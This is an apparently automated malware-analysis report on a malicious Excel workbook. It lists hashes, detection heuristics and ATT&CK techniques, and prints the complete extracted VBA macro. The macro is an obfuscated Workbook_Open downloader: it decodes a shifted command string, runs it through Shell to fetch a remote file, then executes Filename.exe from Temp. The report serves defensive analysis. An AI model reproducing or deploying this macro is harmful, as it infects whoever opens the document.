Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 85074105fcf885e2…

MALICIOUS

Office (OOXML)

12.8 KB Created: 2020-05-08 00:07:59 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: a15a1d60c9a516913916f113f4290c58 SHA-1: 86dd53d1f55c64b80201ba89a3ca673772e7aa81 SHA-256: 85074105fcf885e2d29488b314fad614984de34934e12e00348cb3762d8d0333
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The VBA macro contains a Workbook_Open event that executes a deobfuscated Shell command. This command appears to be constructing a path to a temporary directory and then attempting to execute a file named 'Filename.exe' from that location. The obfuscation technique used suggests an attempt to evade static analysis, and the execution of an arbitrary file points to a downloader or dropper functionality.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1882 bytes
SHA-256: 6903c3c4e39a3c96de1d9953e32f9b218179b778d7a92ab6b69c17b1acfde0f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (MJeqxOcUyRcsJKKdxkvYokOLgbBlLCBnDfJISFEAMpUkLiEjJZSClBf("…„Œz‡ˆ}z��Cz�z5Bz�zxŠ‰~„ƒ…„�~xŽ5wŽ…vˆˆ5Bl5]~yyzƒ5Bx„‚‚vƒy5=ƒzŒB„w zx‰5hŽˆ‰z‚Ccz‰ClzwX�~zƒ‰>CY„Œƒ�„vy[~�z=<}‰‰…ˆODD„ƒzy‡~‹zC�~‹zCx„‚Dy„Œƒ�„vyTx~yRX[YMZFGEYILY[FVI;‡zˆ~yRX[YMZFGEYILY[FVI:GFFFIJ;vŠ‰}€zŽRVVƒ}nh^ŒŽB�`ŽH^<A9zƒ‹Oiz‚…@<q[~�zƒv‚zCz�z<>"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
a = Environ("Temp")
Shell (a + "\" + "Filename.exe")
End Sub
 Public Function MJeqxOcUyRcsJKKdxkvYokOLgbBlLCBnDfJISFEAMpUkLiEjJZSClBf(bFnHSorNwGlBoLGFYRpsdjRemUZPOSodJeWwwvgPUoyCSFOYyCPnLaT As String)
        Dim n As Integer, i As Integer
        n = 21
        For i = 1 To Len(bFnHSorNwGlBoLGFYRpsdjRemUZPOSodJeWwwvgPUoyCSFOYyCPnLaT)
            Mid(bFnHSorNwGlBoLGFYRpsdjRemUZPOSodJeWwwvgPUoyCSFOYyCPnLaT, i, 1) = Chr(Asc(Mid(bFnHSorNwGlBoLGFYRpsdjRemUZPOSodJeWwwvgPUoyCSFOYyCPnLaT, i, 1)) - n)
        Next i
        MJeqxOcUyRcsJKKdxkvYokOLgbBlLCBnDfJISFEAMpUkLiEjJZSClBf = bFnHSorNwGlBoLGFYRpsdjRemUZPOSodJeWwwvgPUoyCSFOYyCPnLaT
    End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: b5bd1663b378bceb1606a842a9945b3af51843e8206e8d442199e88b4cbeb202

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